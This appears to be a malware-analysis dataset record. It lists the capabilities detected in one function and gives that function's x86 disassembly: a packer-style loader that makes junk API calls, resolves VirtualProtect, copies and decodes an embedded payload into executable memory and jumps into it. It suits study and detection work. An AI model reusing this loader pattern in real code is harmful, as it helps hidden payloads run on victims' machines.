Function at 0x402447
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
cmp edi, 0x207138
jg 0x40246e
inc edi
cmp edi, 0x4f672
jl 0x402454
cmp dword [0x2be260c], 0x93
jne 0x4024f4
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push esi
call dword [sym.imp.USER32.dll_OpenIcon]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call fcn.004028e5
push esi
call fcn.00402c5e
push esi
call fcn.00402c6d
add esp, 0x10
push esi
call fcn.00402eff
mov eax, dword [0x423e88]
add dword [0x2be260c], 0x1134b
push 0x421af0
mov dword [0x2be3448], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x2be209c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2be260c]
mov dword [0x2be2090], eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2be260c]
mov dword [0x2be2098], eax
push eax
call dword [0x2be2090]
mov edi, 0x1692e
push esi
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push esi
call ebx
dec edi
jne 0x402553
mov eax, dword [0x2be260c]
cmp eax, esi
jbe 0x4025be
mov eax, dword [0x2be3448]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2be2098]
mov byte [ecx + edi], al
mov eax, dword [0x2be260c]
cmp eax, 0x490
jne 0x4025b9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, dword [0x2be260c]
inc edi
cmp edi, eax
jb 0x402569
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x4025fb
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov eax, dword [0x2be260c]
inc edi
cmp edi, 0x38681
jl 0x4025c0
mov ecx, dword [0x2be2098]
shr eax, 3
cmp eax, esi
jbe 0x402621
mov edi, ecx
mov ebx, eax
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x402615
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x402642
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x5ff0
mov eax, dword [ebp - 8]
add dword [0x2be2098], eax
inc edi
cmp edi, 0x674db
jl 0x402623
push 0x7b
pop edi
cmp dword [0x2be260c], 0x86
jne 0x402672
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
dec edi
jne 0x40264e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2be2098]
pop edi
pop esi
pop ebx
leave
ret